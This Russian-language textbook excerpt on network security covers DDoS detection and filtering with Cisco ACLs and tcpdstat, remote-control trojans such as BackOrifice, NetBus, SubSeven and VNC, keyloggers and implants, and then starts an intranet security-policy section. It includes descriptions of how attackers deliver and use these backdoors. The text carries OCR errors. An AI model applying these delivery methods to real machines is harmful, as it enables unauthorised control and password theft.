Теперь дадим ряд замечаний по защите и предотвращению DDoS-атак. Первым делом нужно идентифицировать тип трафика, который загружает сеть. В большинст ве DDoS-атак посылает очень определенный тип ICMP, UDP, TCP, часто с поддель ными IP-адресами. Нападение обычно характеризует необычно большое количество пакетов некоторого типа. Исключением из этого правила являются DDoS-нападения, направленные против определенных служб, типа HTTP, используя допустимый тра фик и запросы. Для идентификации пакетов анализируется сетевой трафик. Это мож но сделать двумя различными методами в зависимости от того, где исследуется тра фик. Первый метод может использоваться на машине, которая расположена в ата куемой сети и на которую устанавливается сниффер типа tcpdump. Анализ трафика в реальном масштабе времени невозможен на перегруженной сети, поэтому рекомен дуется использовать опцию -w для записи данных в файл. Затем, используя утилиты типа tcpdstat или tcptrace, анализируются результаты и определяется тип преобла дающего трафика в сети. Пример работы tcpdstat приведен ниже [http://www.netse-curity.r2.ru/docs/dos_safe.html].
DumpFile: test FileSize: 0.01MB Id: 200212270001
StartTime: Fri Jul 29 00:01:51 2005 EndTime: Fri Jul 29 00:02:15 2005 TotalTime: 23.52 seconds TotaiCapSize: 0.01MB CapLen: 96 bytes
# of packets: 147 (12.47KB)
AvgRate: 5.56Kbps stddev:5.40K PeakRate: 25.67Kbps
### IP flow (unique src/dst pair) Information ###
# of flows: 9 (avg. 16.33 pkts/flow) Top 10 big flow size (bytes/total in %):
26.6% 16.5% 14.7% 11.6% 9.8% 7.6% 5.4% 5.4% 2.5%
### IP address Information ###
# of IPv4 addresses: 7
Top 10 bandwidth usage (bytes/total in %):
97.5% 34.1% 31.2% 21.4% 10.7% 2.5% 2.5%
### Packet Size Distribution (including MAC headers) ###
[32-63]: 79
[64-127]: 53
[128-255]: 8
[256-511]: 6
[512-1023]: 1
### Protocol Breakdown ###
protocol packets bytes bytes/pkt
[0] total 147(100.00%) 12769(100.00%) 86.86
[1]ip 147(100.00%) 12769(100.00%) 86.86
[2] tcp 107(72.79%) 6724(52.66%) 62.84
[3] telnet 66(44.90%) 3988(31.23%) 60.42
[3] рорЗ 41 (27.89%) 2736(21.43%) 66.73
[2] udp 26(17.69%) 4673(36.60%) 179.73
[3] dns 24(16.33%) 4360(34.15%) 181.67
[3] other 2(1.36%) 313(2.45%) 156.50
[2] icmp 14(9.52%) 1372(10.74%) 98.00
Второй подход - для контроля входящего трафика использовать маршрутизатор. Его списки ограничения доступа могут служить основным пакетным фильтром. Ил люстрацией является пример от Cisco.
access-list 169 permit icmp any any echo access-list 169 permit icmp any any echo-reply access-list 169 permit udp any any eq echo access-list 169 permit udp any eq echo any access-list 169 permit tap any any established access-list 169 permit tap any any access-list 169 permit ip any any interface serial 0 ip access-group 169 in
Используя команду show access-list, система покажет количество совпавших паке тов для каждого типа трафика.
Extended IP access list 169
permit icmp any any echo (2 matches)
permit icmp any any echo-reply (21374 matches)
permit udp any any eq echo
permit udp any eq echo any
permit tap any any established (150 matches)
permit tap any any (15 matches)
permit ip any any (45 matches)
Видно, что в сети много ICMP echo-reply-пакетов. Подробная информация о по дозреваемых пакетах может быть собрана добавлением команды log-input в конец специфического правила, access-list 169 permit icmp any any echo-reply log-input
Маршрутизатор теперь более подробно регистрирует собранные данные (которые можно посмотреть посредством команды show log) о соответствующих пакетах. В примере файл регистрации показывает несколько пакетов, соответствующих пра вилу DENY ICMP.
%SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.142 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.113 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-iPACCESSLOGDP: list 169 denied icmp 192.168.212.72 (SerialO *HDLC*j -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.154 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.15 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.142 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.47 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.35 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.113 (SerialO *HDLC*j -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.59 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.82 (SerialO *HDLC*j -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.56 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.84 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.47 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.35 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.15 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-!PACCESSLOGDP: list 169 denied icmp 172.16.132.33 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet
Далее можно попытаться "проследить" источник атаки. Однако DDoS в отличие от традиционного DoS исходит из множественных источников. Поэтому нужно по пробовать определить транзитный маршрутизатор, через который проходит боль шинство пакетов. После этого может потребоваться определить следующий в цепоч ке транзитный маршрутизатор. На каждом шаге создается список ограничений дос тупа. В конце процесса, когда источник атаки выявлен, можно создать фильтр, кото рый заблокирует атакующего. Недостатки этого метода защиты от DDoS-нападения -время и сложность. Получение таких данных требует скоординированной работы не скольких сторон (чаще всего сервис-провайдеров).
Следующим шагом является ограничение допустимого предела для злонамерен ного типа трафика, что ограничивает пропускную способность, которую этот тип трафика может потреблять в данный момент времени. Cisco предлагает способ, кото рый позволяет ограничить ICMP-пакеты, используемые в нападении, interface ху
rate-limit output access-group 2020 3000000 512000 786000 conform-action
transmit exceed-action drop
access-list 2020 permit icmp any any echo-reply
Этот пример поднимает одну интересную проблему: нельзя просто защититься от таких типов хитрых DDoS-атак, не принося в жертву часть законного трафика.
Можно использовать и другие способы защиты, которые зависят от изменения маршрутизации. Важно отметить, что адресная фильтрация не лучший способ защи ты против DDoS-атак. Лучше заблокировать трафик в вышестоящей цепочке.
Для предотвращения DDoS-атак также есть ряд рекомендаций. Нужно испльзо-вать команду ip verity unicast reverse-path (или ее эквивалент) для удаления поддель ных пакетов. Дополнительно блокировать входящий трафик с исходными адресами из зарезервированных диапазонов (т. е. 192.168.0.0). Этот фильтр удалит пакеты, ис точники которых, очевидно, неправильны. Входящие и исходящие методы фильтра ции особенно важны для предотвращения DDoS-атак. Фильтры, помещенные в гра ничные маршрутизаторы, гарантируют, что входящий трафик не имеет исходного адреса, происходящего из частной сети. Но еще более важно, что трафик на пересе кающихся курсах действительно имеет адреса из внутренней сети.
Теперь рассмотрим возможные механизмы защиты от распределенной атаки "от каз в обслуживании" с использованием отражателей и их потенциальную примени мость.
Угроза атаки значительно снижается, если у атакующего нет возможности ис пользовать подмену адреса источника, например при употреблении отражателей с входной фильтрацией. Хотя опасность все равно остается, так как злоумышленник может применять в своих целях отражатели прикладного уровня, например, исполь зуя рекурсивные DNS-запросы или HTTP proxy-запросы. В любом случае, хотя ата кующий и может применять отражатели даже при отсутствии возможности подмены адреса источника, жертва может гораздо быстрее определить местоположение рабов: если отражатели сохраняют информацию о получаемых ими запросах, эта информа ция укажет на расположение рабов.
Трафик, поступающий от отражателей, возможно, будет обладать определенной повторяемостью и семантической зависимостью. Тогда можно попробовать осущест вить фильтрацию этого трафика.
Запросы, поступающие отражателям от рабов, также могут иметь повторяемость и смысловую зависимость. Поэтому возможна его фильтрация с целью предотвраще ния использования серверов в качестве отражателей.
В принципе не исключена возможность применения механизмов обратного от слеживания, если реализация этих механизмов включена в ПО серверов, которые могли бы использоваться злоумышленниками в качестве отражателей. В этом случае можно осуществить обратное отслеживание через отражатели до рабов [74].
Изо всех приведенных способов защиты, наверное, только второй имеет потенци альную ценность. Первый метод применим только в очень узком смысле, при очень жестких предположениях, так как большинство атак осуществляется все же с исполь зованием подмены адреса. Третий метод требует претворения в жизнь фильтрования практически во всем Интернете, что, наверное, при современной организации сети неосуществимо. Четвертый метод также предполагает значительные трудности при осуществлении. Так, необходимо централизованное внедрение средств обратного от слеживания в ПО конечных систем от большого количества различных производите лей и собственно обновление ПО огромным количеством конечных систем, при том, что многие администраторы и так очень занятые люди. Кроме того, многие схемы обратного отслеживания (ITRACE, схемы с вероятностной пометкой пакетов) скорее всего не окажут серьезной помощи в отслеживании рабов. Второй метод более при меним и во многих случаях возможно осуществить фильтрацию пакетов от отража телей без наложения серьезных ограничений на работу узла.
Попробуем оценить практичность метода защиты от распределенных атак с ис пользованием отражателей на основе фильтрации определенных видов трафика.
Фильтрация IP-пакетов. Фильтрация, основанная на данных заголовка IP-пакета, вряд ли даст какие-либо ощутимые результаты.
Фильтрация ICMP-пакетов. Злоумышленник может применить два основных способа направить ICMP-ответы отражателя жертве: использование ICMP-пакетов запрос-ответ (ICMP echo) или атакующий посылает некорректные пакеты от имени жертвы, и это заставляет отражатель генерировать и отправлять жертве соответст вующие ICMP-сообщения. В первом случае атакующий посылает отражателю ICMP-запросы от имени жертвы - Echo Request, Router Solicitation и др. В подавляющем большинстве случаев это запросы Echo Request и соответствующие ответы Echo Reply можно отфильтровывать без особых неудобств. Вторая категория включает в себя сообщения протокола ICMP об ошибках - unreachable, source quench, redirect, time exceeded, parameter problem. Для жертвы могут быть полезны сообщения о не достижимости (например, host unreachable), о необходимости фрагментации (need fragmentation) и об истечении лимита времени (time exceeded при использовании, на пример, утилиты traceout). Однако этим можно пожертвовать в целях обеспечения защиты и отфильтровывать ICMP-сообщения об ошибках.
Фильтрация TCP-пакетов. Рассмотрим типы TCP-пакетов, которые могут прийти от TCP-отражателя, с точки зрения возможности их фильтрации. Во многих случаях приходящие к жертве пакеты выглядят как пакеты, посланные истинным клиентом: SYN-пакеты для установления соединения, пакеты с данными, пакеты с подтвержде нием или FIN-пакеты. Заметим, что в пакетах, приходящих от отражателя, в качестве порта-источника указан порт, используемый отражателем. В частности, веб-серверы (наиболее удобны для применения в качестве отражателей) установят в данном поле значение 80. Таким образом, если жертва будет отфильтровывать все пакеты с пор том источника 80, она значительно снизит вероятность атаки со стороны ТСР-отражателей. Конечно, в этом случае будет исключена возможность использования этого сервиса и самой системой. Если отражатель не установил соединения с жерт вой, то в ответ на запросы, исходящие как бы от жертвы, он может ответить только пакетами RST и SYN/ACK. Если жертва будет отфильтровывать RST-пакеты, она бу дет удерживать больше соединений, чем нужно и, в конечном итоге, возможно, из-за этого не сможет устанавливать новые соединения. Фильтрация SYN/ACK-пакетов приведет к потере возможности соединения с удаленным сервером с использованием протокола TCP. Во многих случаях подобные ограничения могут оказаться неприем лемыми. Таким образом, эффективная фильтрация TCP-пакетов в целях защиты от атак с использованием TCP-отражателей может быть осуществлена только в том слу чае, если можно позволить себе потерять доступ к удаленным систем и доставить не которые неудобства законным пользователям.
Фильтрация UDP-пакетов. Так же, как и с TCP-пакетами, возможна фильтрация по полю "порт источника" в заголовке пакета.
Фильтрация DNS-сообщений. DNS-серверы предоставляют две возможности для отражения. Первая заключается в том, что отражатель просто посылает DNS-ответ на соответствующий DNS-запрос, предположительно от жертвы; при этом ответ прихо дит с номером порта источника 53. Следовательно, жертва может избавиться от этой угрозы, отфильтровывая пакеты с номером порта источника 53, правда при этом сама лишаясь возможности пользоваться услугами внешнего DNS-сервера. Кроме того, многие DNS-запросы также используют значение 53 в качестве порта-источника, и, если жертва представляет собой DNS-сервер, подобные запросы не будут обработа ны. От этого, правда, легко можно избавиться, введя дополнительное фильтрование на бит QR в заголовке сообщения DNS. Вторая возможность заключается в использо вании DNS-серверов, поддерживающих рекурсивные DNS-запросы (очень многие серверы действительно поддерживают механизм рекурсивных DNS-запросов). Пред положим, что жертва является авторитетным сервером имен для определенной зоны. В этом случае атака заключается в посылке большого количества DNS-запросов DNS-серверам, поддерживающим рекурсивные запросы, которые, в свою очередь, будут посылать запросы жертве. В этом случае даже не требуется подменять адрес источника. Единственное решение этой проблемы, кажется, заключается в фильтро вании рекурсивных запросов таким образом, чтобы обрабатывались запросы, прихо дящие только из локальной сети.
Для Unix-систем можно дать следующие конкретные рекомендации для защиты от DDoS-атак:
■ ограничить доступ в сеть и контролировать его, например, с помощью программ типа TCP-wrappers;
■ использовать средства проверки целостности файловой системы типа Tripwire;
■ применять программы для обнаружения DDoS-атак (их можно взять по адресам http://www.ibi.gov/nipc/trinoo.htm для Sun и Linux и http://www.theorygroup.com/ Software/RID для всех Unix-платформ).
Рекомендации для Windows-платформ таковы:
■ использовать антивирусы и средства обнаружения "троянских коней" (например, BOClean);
■ устанавливать МЭ;
■ применять средства обнаружения wintrinoo типа Wtrinscan.exe [http://www.jmu. edu/info-security/engineering/tools/wtrinscan.exe].
4.1.5. Удаленный контроль над станцией в сети
Удаленный контроль над станцией в сети заключается в запуске на атакуемом компьютере программы сетевого шпиона, основная цель которой - получение уда ленного контроля над станцией в сети. Схематично основные этапы работы сетевого шпиона выглядят следующим образом: инсталляция в памяти; ожидание запроса с удаленного хоста, на котором запущена головная сервер-программа, и обмен с ней сообщениями о готовности; передача перехваченной информации на головную сер вер-программу или предоставление ей контроля над атакуемым компьютером.
Существуют многочисленные утилиты, позволяющие контролировать все сим вольные строки, вводимые на выбранном злоумышленником в качестве жертвы ком пьютере. Некоторые из них встроены в утилиты контроля данных, посылаемых с хоста во время сеансов FTP или Telnet, а другие буферизируют все символьные стро ки, вводимые с различных терминалов, связанных с хостом. Для ПК имеются много численные программы, которые выполняют те же самые функции, наблюдая за вво дом с клавиатуры и сохраняя символьные строки в файле. Эти программы получили название резидентных программ перехвата сканкодов клавиатуры [резидентные программы находятся в памяти постоянно с некоторого момента времени до оконча ния сеанса работы ПК (выключения питания или перезагрузки); эти программы мо гут быть помещены в память при начальной загрузке ПК, загрузке операционной среды или запуске некоторой программы, а также запущены отдельно]. К ним отно сятся: для MS DOS - программы Keytrap, Playback и Кеусору; для Novell Netware -программы Getit (отслеживает обращение к функции login) и NWL.
Программа Virtual Network Computing (VNC), разработанная в AT&T Laboratories [http://www.uk.research.att.corn/unc/], также предоставляет удаленный контроль над станцией в сети. Возможности управления таковы, как если бы атакующий сидел не посредственно за компьютером жертвы. Программа независима от ОС жертвы и ата кующего и работает с большинством версий ОС Unix и Windows. У VNC есть кли ентская и серверная части. Сервер размещается на компьютере, которым нужно управлять, и запускается командой vncserver (чтобы это сделать, у взломщика дол жен быть доступ к командной строке атакуемой машины). Клиент устанавливается на компьютере атакующего. В отдельных случаях можно обойтись без клиентской час ти, поскольку VNC может управляться с помощью обычного веб-браузера. Если жертвой является Windows-машина, то злоумышленник, например, посылает по электронной почте письмо с замаскированной под почтовое вложение программой VNC, которая запускается по аналогии с X Window, когда для него инициализируется displays. Например, дисплей номер 0 (нуль) позволяет VNC прослушивать порт 5800 для веб-сервера и порт 5900 для VNC-сервера. После того, как злоумышленник со единится с помощью веб-браузера с портом 5800 по IP-адресу VNC-машины и введет правильный пароль, рабочий стол жертвы станет доступным для взломщика через веб-браузер. Собственные средства просмотра VNC дают возможность отобразить рабочий стол атакуемой машины и вне окна веб-браузера. Средство просмотра ис пользует порт 5900. VNC сохраняет информацию о сессии в системном реестре. Эта программа может быть запущена не только пользователем с полномочиями root.
Классической стала программа, появившаяся во второй половине 1998 г. и обес печивающая злоумышленнику возможность управлять удаленным компьютером, -это BackOrifice, или просто bo. При запуске она подменяет некоторые системные библиотеки, "садится" на определенный порт и слушает его, ожидая запросы от про граммы bo-клиента. При поступлении вызова от клиента происходит его авторизация и в случае успеха устанавливается соединение, передающее полное управление сис темой клиенту. В02к - одна из немногих программ, обеспечивающих доступ через "черный ход", которые могут работать поверх TCP- и UDP-протоколов. Также В02к предоставляет возможность шифрования канала связи между клиентом и сервером, предлагая XOR- и ЗОЕБ-шифрование. В02к позволяет выполнять множество "сис темных действий". Сюда входит возможность перезагружать атакованную машину, заблокировать машину или запросить системную информацию. Атакующий может все - от перехвата ввода с клавиатуры до форматирования дискеты и проигрывания музыкальных файлов. Также можно проверять и менять статус процессов на атако ванной машине, запускать или уничтожать их, просматривать отображаемое на мо ниторе машины жертвы и инспектировать содержимое файловой системы.
После появления bo началось повальное увлечение разработкой аналогичных про грамм, к числу которых можно отнести NetBus, Y3K, Phase, SubSeven и др.
Программа Netbus несколько отличается от описанной выше VNC; хотя Netbus позволяет лучше контролировать атакуемую машину (у нее нет такого развитого графического интерфейса). К тому же большинство детекторов вирусов обнаружи вают Netbus, что определяет использование программы только против незащищен ных машин. Сначала Netbus должна быть установлена на машине злоумышленника, чтобы его можно было сконфигурировать перед заражением жертвы. Инсталляция программы похожа на установку большинства приложений для Windows-систем. Netbus так же, как и VNC, поставляется в комплекте клиент-сервер. Обычно сервер передается на машину-жертву с использованием электронной почты, компакт-диска или аналогичного устройства. Как только сервер запускается, машина оказывается захваченной, какая бы мощная система безопасности ни работала между машиной и клиентом, размещенным на машине злоумышленника. С помощью Netbus можно вы полнять, например, исследование файловой системы, перенаправление ТСР-портов через систему защиты, запуск программ и многое другое.
SubSeven (Sub7) - это одно из лучших средств в данной категории. Sub7 может изменять свои параметры и тем самым обманывать средства поиска вирусов, которые обычно перехватывают утилиты, подобные Netbus и В02к. Так же, как Netbus и B02k, Sub7 требует, чтобы перед использованием был сконфигурирован сервер. Sub7 может не только выполнять работу по управлению захваченной машиной, но также информировать о новых машинах, которые он смог захватить, используя одну из не скольких возможностей (ICQ, IRC, электронная почта). В результате злоумышленник получает дополнительные преимущества, связанные с тем, что нет необходимости искать машины, которые могут быть заражены его сервером. Для этого сервер про слушивает ТСР-порт 62875 (порт не является специальным, он выбран случайно). Также можно использовать возможность работы парольной защиты при доступе к серверу. У Sub7 есть функция перехвата вводимых паролей и другой интересной ин формации, которую пользователь может вводить с консоли. Для обхода средств за щиты злоумышленник может переадресовать порт на захваченной машине с целью спрятать свой IP-адрес. Есть возможность инспектировать файловую систему, управ лять процессами, просматривать данные в буфере обмена атакованной машины.
До выхода bo использовались различные аналогичные утилиты (rootkit), но они писались в основном под ОС Unix. BackOrifice был создан для ОС Windows, что обеспечило его широкое распространение по всему миру.
Надо также отметить, что по аналогичной технологии строятся специальные ути литы, облегчающие дистанционный контроль и управление удаленными узлами для администраторов сетей. Примером такой утилиты является Remote Administrator.
Главной чертой рассматриваемой ТУА является прежде всего то, что в случае удачной ее реализации атакующий получает полный контроль над системой: он мо жет полностью управлять работой программ, графического интерфейса, мультиме диа-устройствами, даже периферией и внешними устройствами. Другими словами, взломщик получает полный контроль над атакованной машиной. Универсальной за щиты от таких атак пока нет, так как программ удаленного управления существует много, а в работе используют они хотя и похожие, но разные алгоритмы. Поэтому для каждой конкретной атаки надо искать конкретное средство защиты либо исполь зовать средства для проверки системы на "зараженность" серверной частью таких программ. Очень часто они реализованы в виде "троянских коней", поэтому иногда антивирусы могут выявлять их.
Служба безопасности одного из крупных коммерческих банков зарегистрировала действия, которые могли быть проделаны лишь при знании некоторой конфиденци альной информации, хранимой в виде базы данных в зашифрованном виде. Сомне ваться в алгоритме шифрования не приходилось - использовалась утилита DISKREET, реализующая национальный стандарт шифрования США (в то время DES). Утери паролей для шифрования также не было выявлено. Изучение компьюте ров выявило наличие в загрузочных секторах ПК своеобразных вирусов - программ, которые сохраняли вводимую с клавиатуры информацию (в том числе и пароли для шифрования) в нескольких зарезервированных для этого секторах. Спустя некоторое время появилась еще одна разновидность таких программ, также связанная с утили той DISKREET. Теперь программа работала с утилитой по принципу обыкновенного файлового вируса. Она никак не проявляла себя внешне, однако сохраняла весь ввод с клавиатуры в скрытом файле.
Такие программы называют программными закладкам (по аналогии с незаметно внедряемыми в помещения миниатюрными электронными системами звукового под слушивания или телевизионного наблюдения) - специальными скрытно внедренны ми в защищенную систему программами (или специально дописанными фрагмента ми пользовательской программы), позволяющими злоумышленнику путем модифи кации свойств системы защиты осуществлять НСД к ресурсам системы (в частности, к конфиденциальной информации) [76]. В дальнейшем компьютерным злоумышлен никам требуется, например, лишь считать файл (или просмотреть секторы), чтобы узнать пароли и по ним получить интересующие их данные.
Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура - это основное устройство управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденци альных сообщениях (текстах), паролях и т. д.
Например, злоумышленник пользуется информацией, которая извлечена из неко торого массива данных, созданного работой программного средства злоумышленни ка совместно с системой проверки прав доступа и предоставления этих прав (предва рительно внедренная в систему программа при осуществлении доступа легального пользователя запомнит его пароль и сохранит в заранее известном доступном зло умышленнику файле, а затем нелегальный пользователь применит данный пароль для входа в систему). Либо злоумышленник изменит часть системы защиты так, что бы она перестала выполнять свои функции (например, изменит программу шифрова ния вручную или при помощи некоторой другой программы так, чтобы она перестала шифровать или изменила алгоритм шифрования на более простой).
При рассмотрении воздействия закладки и программ защиты информации умест ны аналогии с взаимодействием вируса и ПП. Вирус может присоединиться к испол няемому файлу, соответствующим образом изменив его, может уничтожить некото рые файлы или встроиться в цепочку драйверов. Закладка отличается более направ ленным и тонким воздействием. Однако ясно, что и вирус и закладка должны скрывать свое присутствие в операционной среде компьютерной системы. Особенно стью закладок может быть и то, что они фактически становятся неотделимы от при кладных или системных программ, если внедрены в них на стадии разработки или путем обратного проектирования (путем дизассемблирования ПП, внедрения кода закладки и последующей компиляции).
На ПК можно отличить такую программу, подменяющую обычную программу системной регистрации, от других резидентных программ, выполняющихся в памяти, при помощи команды MS DOS MEM, но только в том случае, если она не была замас кирована от такого наблюдения.
Для того чтобы закладка смогла выполнить какие-либо функции по отношению к ПП, она должна получить управление, т. е. процессор должен начать выполнять ин струкции (команды), относящиеся к коду закладки [76]. Это возможно только при одновременном выполнении двух условий.
1. Закладка должна находиться в оперативной памяти до начала работы програм мы; которая является целью воздействия закладки; следовательно, она должна быть загружена раньше или одновременно с этой программой.
2, Закладка должна активизироваться по некоторому общему как для закладки, так и для основной программы событию, т. е. при выполнении ряда условий в программно-аппаратной среде управление должно быть передано на программу-закладку.
Это достигается путем анализа и обработки закладкой общих относительно за кладки и ПП воздействий (как правило, прерываний). Причем прерывания должны сопровождать работу ПП или работу ПК. В качестве таких прерываний можно выде лить: прерывания от таймера ПК; прерывания от внешних устройств; прерывания от клавиатуры; прерывания при работе с диском; прерывания операционной среды (в том числе прерывания при работе с файлами и запуск исполняемых модулей). В противном случае активизации кода закладки не произойдет, и он не сможет ока зать какого-либо воздействия на работу программы защиты информации.
Кроме того, возможен случай, когда при запуске программы (при этом активизи рующим событием является запуск программы) закладка разрушает некоторую часть кода программы, уже загруженной в оперативную память, и, возможно, систему кон троля целостности кода или контроля иных событий и на этом заканчивает свою работу.
(Проблема подмены системных утилит рассматривается в п. 4.3.3.)
Обычно модемные инструменты нападения включают набор измененных функ ций is, find, chmod, chown, du, df, netstat, ps, ifconfig и др. [77]. Заменив эти части ядра защиты, взломщик не только обезопасит свою деятельность, сделав ее незаметной, но и предотвратит аномальные изменения в ПО, работающем в системе.
Теперь вернемся к перехвату ввода с клавиатуры. Он может происходить двумя основными способами:
1) встраиванием в цепочку прерывания int 9h;
2) анализом содержания клавиатурного порта или буфера по таймерному преры ванию.
Существует свободно распространяемое средство борьбы с подобными програм мами-шпионами - Advanced AntiKeylogger для Windows 2000/ХР [http://anti-keylogger.net]. Используя эту утилиту, можно защитить компьютер от программ, пе рехватывающих нажатия на кнопки клавиатуры. AntiKeylogger не использует базу программ, с которыми ей приходится бороться, поскольку базу пришлось бы часто обновлять. Вместо этого программа пресекает всякие попытки перехватить работу с клавиатурой. Поскольку перехват ввода с клавиатуры может потребоваться и по лезной программе (например, для активизации определенной функции по сочетанию "горячих клавиш" в фоновом режиме), AntiKeylogger предусматривает режим, осно ванный на правилах. В этом режиме ее работа напоминает работу МЭ - при обнару жении запроса на перехват программа выдает на экран окно подтверждения. Пользо ватель может разрешить перехват, если его инициировала программа, вызывающая доверие, или запретить, если он исходит от подозрительного модуля. Встроенный менеджер правил позволяет просмотреть полный список всех разрешенных или за прещенных приложений. Кроме того, можно оперативно изменить статус любого из них на противоположный. Предусмотрен и режим высокой секретности, в котором автоматически блокируются все попытки перехвата, вне зависимости от того, какая программа пытается его выполнить.
Защитой от описанных программных закладок являются три принципиально важ ных мероприятия:
■ выявление разрушающих воздействий в BIOS (ПЗУ);
■ построение систем контроля целостности;
■ построение изолированной операционной среды.
139. Политика информационной безопасности для интранета: разновидности; процесс выработки; модели доверия; основные положения; реализация и модификация.
Версия №1
Политика безопасности – формальная спецификация правил и рекомендаций а основе которых пользователи, сотрудники используют, накапливают и распоряжаются информационными ресурсами и технологическими ценностями.
Различают несколько моделей доверия:
Кто должен быть заинтересован в политике безопасности?
Процесс выработки ПБ:
Основные требования к ПБ:
Политика безопасности должна
Политика:
Основные типы политик:
1)принятые правила использования
2) политика пользования учетных записей
3) политика удаленного доступа
4) политика ЗИ
Специализированные политики:
1)политика управления МЭ
2)политика подключения к сети
3)политика специального доступа
Как защищаем (меры защиты):
1)процедура управления конфигурацией
2)процедура копирования данных и их хранения
3)процедура сообщений о нарушениях защиты
4)процедура урегулирования инцидентов
5)действия при бедствиях и ликвидации их последствий
Версия №2
5.5. Политика безопасности для открытых систем
5.5.1. Определение политики безопасности
Первое и самое главное, от чего зависит хорошая защита открытой сети, - это ее ПБ, а точнее политика ее информационной безопасности. Предположим, что вы на блюдаете за интранетом поздно вечером и видите, что развивается атака. Что делать? Позволить атаке развиться и собирать данные? Отключить интранет от Интернета? Если так, отключить ли МЭ между интранетом и экстранетом? Или полностью от ключить соединение с Интернетом (препятствуя доступу пользователей на веб сервер)? Кто имеет полномочия это сделать? Руководству корпорации необходимо четко расставить приоритеты. Рассмотрим сценарий, когда вы думаете, что вас ата куют, поэтому и отключаете соединение с интранетом. Пользователи выражают свое недовольство. А потом, оказывается, что вы ошиблись. Кража данных является поня тием теоретическим, а недовольные пользователи очень реальны. Таким образом, не обходима политика, которая определяет важность всех мер защиты и четко устанав ливает процедуры, необходимые для выполнения, когда кажется, что имеет место атака. Как только точно определены приоритеты, нужно понять технологию реализа ции ПБ.
Политика безопасности (security policy) - это набор норм, правил и практических приемов, которые регулируют управление, защиту и распределение ценной инфор мации (определение, приведенное в стандарте "Оранжевая книга", 1985 г.). В соот ветствии с определением Гостехкомиссии РФ, ПБ - это правила разграничения дос тупа, представляющие собой совокупность правил, регламентирующих права досту па субъектов доступа к объектам доступа [90]. Согласно более новому определению Гостехкомиссии РФ (из сборника терминов и определений по ИБ) ПБ - это совокуп ность требований и правил по ИБ для объекта ИБ, выработанных в соответствии с требованиями руководящих и нормативных документов в целях противодействия за данному множеству угроз ИБ, с учетом ценности защищаемой информационной сфе ры и стоимости системы обеспечения ИБ.
Таким образом, ПБ интранета - это формальная спецификация правил и рекомен даций, на основе которых пользователи/сотрудники организации применяют ее ин формационные и сетевые ресурсы, накапливают их и распоряжаются ими.
В современной практике обеспечения ИБ термин "ПБ" может употребляться как в широком, так и в узком смысле слова. В широком смысле ПБ определяется как сис тема документированных управленческих решений по обеспечению ИБ организации. В узком смысле под ПБ обычно понимают локальный нормативный документ, опре деляющий требования безопасности, систему мер, либо порядок действий, а также ответственность сотрудников организации и механизмы контроля для определенной области обеспечения ИБ.
ПБ только определяет, что должно быть защищено и какова ответственность в случае несоблюдения ее положений. Меры защиты определяют, как конкретно за щитить ресурсы. Они являются механизмами реализации ПБ на практике и представ ляют собой полный перечень всех рекомендаций и действий, которые должны пред приниматься в определенных обстоятельствах и при определенных инцидентах. Ме ры защиты выбираются таким образом, чтобы устранить так называемую проблему одной точки провала (например, служащий внезапно уволился и его функции по реа лизации ПБ никому не передали, или вышло из строя и не подлежит восстановлению какое-то средство защиты).
5.5.2. Причины выработки политики безопасности
Можно выделить несколько основных аргументов в пользу того, что ПБ обяза тельно должна быть выработана для интранета любого масштаба. Во-первых, ПБ со ставляет общую основу для защиты интранет, в рамках которой определяются прави ла разграничения доступа ко всем информационным и сетевым ресурсам. Она опре деляет, какое поведение в интранете разрешено, т. е. является санкционированным, а какое запрещено, является несанкционированным и свидетельствует о незаконном ее использовании. Во-вторых, ПБ определяет "правила игры" для всех типов пользо вателей системы, что также позволяет достичь согласия по вопросам ее безопасности и среди руководства организации. В-третьих, ПБ часто помогает сделать выбор са мой платформы для интранета в терминах того, какие инструментальные средства и процедуры будут использованы в ней.
Целью разработки ПБ организации в области ИБ является определение правиль ного (с точки зрения организации) способа использования информационных ресур сов, а также разработка процедур, предотвращающих или реагирующих на наруше ния режима безопасности.
Формулировать ПБ должно высшее руководство организации - президент или со вет директоров. Цель обеспечения безопасности не может быть достигнута, пока на самом высоком уровне не будет определено, чего следует добиваться, и не будут вы делены ресурсы, которые позволят должным образом защитить информационную инфраструктуру и обеспечить управление ею.
Каковы причины, побуждающие компанию разрабатывать ПБ?
